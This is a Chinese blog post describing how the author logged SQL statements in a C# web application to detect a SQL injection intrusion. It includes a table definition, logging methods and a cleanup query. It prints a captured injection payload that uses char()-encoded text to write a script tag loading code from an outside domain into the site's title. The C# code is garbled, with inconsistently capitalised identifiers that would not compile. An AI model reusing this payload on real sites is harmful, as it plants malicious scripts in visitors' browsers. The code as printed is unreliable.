记一次成功的sql注入入侵检测附带sql性能优化

CREATE TABLE [dbo].[my_sqllog](
    [id] [bigint] IDENTITY(1,1) NOT NULL,
    [hit] [bigint] NULL,
    [sqltext] [varchar](max) COLLATE Chinese_PRC_CI_AS NULL,
    [paramdetails] [varchar](max) COLLATE Chinese_PRC_CI_AS NULL,
    [begintime] [datetime] NULL,
    [endtime] [datetime] NULL,
    [fromurl] [varchar](max) COLLATE Chinese_PRC_CI_AS NULL,
    [ip] [varchar](20) COLLATE Chinese_PRC_CI_AS NULL,
    [lastelapsedtime] [bigint] NULL,
 CONSTRAINT [PK_my_sqllog] PRIMARY KEY CLUSTERED 
(
    [id] ASC
)WITH (IGNORE_DUP_KEY = OFF) ON [PRIMARY]
) ON [PRIMARY]

public static int ExecuteSqlLog(CommandType commandType, string commandText, params DbParameter[] cmdParams)
        {
            #region 参数处理
            string colums = "";
            string dbtypes = "";
            string values = "";
            string paramdetails = "";


            if (cmdParams != null && cmdParams.Length > 0)
            {
                foreach (DbParameter param in cmdParams)
                {
                    if (param == null)
                    {
                        continue;
                    }

                    colums += param.ParameterName + " ";
                    dbtypes += param.DbType + " ";
                    values += param.Value + "；";
                }

                paramdetails = string.Format(" {0},{1},{2}", colums, dbtypes, values);
            }
            string fromurl = "";
            if (System.Web.HttpContext.Current!=null)
            {
                fromurl = System.Web.HttpContext.Current.Request.Url.ToString();
            }
           // commandText = commandText.Replace("'","‘").Replace(";","；");
            SqlParameter[] parameters = new SqlParameter[]
                                          {
                                              new SqlParameter("@hit",1),
                                              new SqlParameter("@sqltext",commandText),
                                              new SqlParameter("@paramdetails",paramdetails),
                                              new SqlParameter("@begintime",DateTime.Now),
                                              new SqlParameter("@endtime",DateTime.Now),
                                              new SqlParameter("@fromurl",fromurl),
                                              new SqlParameter("@ip",Web.PressRequest.GetIP()),
                                              new SqlParameter("@lastelapsedtime",0), 
                                          };

           
            #endregion

            using (DbConnection cOnnection= Factory.CreateConnection())
            {
                connection.COnnectionString= GetRealConnectionString(commandText);//ConnectionString;

                string sql = "";

                // 执行DbCommand命令,并返回结果.
                int id =
                    Utils.TypeConverter.ObjectToInt(ExecuteScalarLog(CommandType.Text,
                                                                  "select top 1 id from my_sqllog where sqltext=@sqltext",
                                                                  new SqlParameter("@sqltext", commandText)));
                if (id > 0)
                {
                    sql = "update my_sqllog set hit=hit+1,ip=@ip,endtime=@endtime,fromurl=@fromurl where id=" + id;
                }
                else
                {
                    sql = "insert into my_sqllog(hit,sqltext,paramdetails,begintime,endtime,fromurl,ip,lastelapsedtime) values(@hit,@sqltext,@paramdetails,@begintime,@endtime,@fromurl,@ip,@lastelapsedtime)";
                }
                // 创建DbCommand命令,并进行预处理
                DbCommand cmd = Factory.CreateCommand();
                bool mustCloseCOnnection= false;
                PrepareCommand(cmd, connection, (DbTransaction)null, commandType, sql, parameters, out mustCloseConnection);
                // 执行DbCommand命令,并返回结果.
                int retval = cmd.ExecuteNonQuery();

                // 清除参数,以便再次使用.
                cmd.Parameters.Clear();
                if (mustCloseConnection)
                    connection.Close();
                return retval;
            }


          
        }

private static object ExecuteScalarLog( CommandType commandType, string commandText, params DbParameter[] commandParameters)
        {

            if (COnnectionString== null || ConnectionString.Length == 0) throw new ArgumentNullException("ConnectionString");
            // 创建并打开数据库连接对象,操作完成释放对象.
            using (DbConnection cOnnection= Factory.CreateConnection())
            {
                if (cOnnection== null) throw new ArgumentNullException("connection");

                //connection.Close();
                connection.COnnectionString= GetRealConnectionString(commandText);
                connection.Open();

                // 创建DbCommand命令,并进行预处理
                DbCommand cmd = Factory.CreateCommand();

                bool mustCloseCOnnection= false;
                PrepareCommand(cmd, connection, (DbTransaction)null, commandType, commandText, commandParameters, out mustCloseConnection);

                // 执行DbCommand命令,并返回结果.
                object retval = cmd.ExecuteScalar();

                // 清除参数,以便再次使用.
                cmd.Parameters.Clear();

                if (mustCloseConnection)
                    connection.Close();

                return retval;
            }

        }

            //执行sql之前进行日志记录操纵
            int log = ExecuteSqlLog(CommandType.Text, commandText, commandParameters);

39191+update+my_websetting+set+websitetitle=REPLACE(cast(websitetitle+as+varchar(8000)),cast(char(60)+char(47)+char(116)+char(105)+char(116)+char(108)+char(101)+char(62)+char(60)+char(115)+char(99)+char(114)+char(105)+char(112)+char(116)+char(32)+char(115)+char(114)+char(99)+char(61)+char(104)+char(116)+char(116)+char(112)+char(58)+char(47)+char(47)+char(100)+char(102)+char(114)+char(103)+char(99)+char(99)+char(46)+char(99)+char(111)+char(109)+char(47)+char(117)+char(114)+char(46)+char(112)+char(104)+char(112)+char(62)+char(60)+char(47)+char(115)+char(99)+char(114)+char(105)+char(112)+char(116)+char(62)+as+varchar(8000)),cast(char(32)+as+varchar(8)))--

update my_websetting set websitetitle=REPLACE(cast(websitetitle as varchar(8000)),websitetitle+'')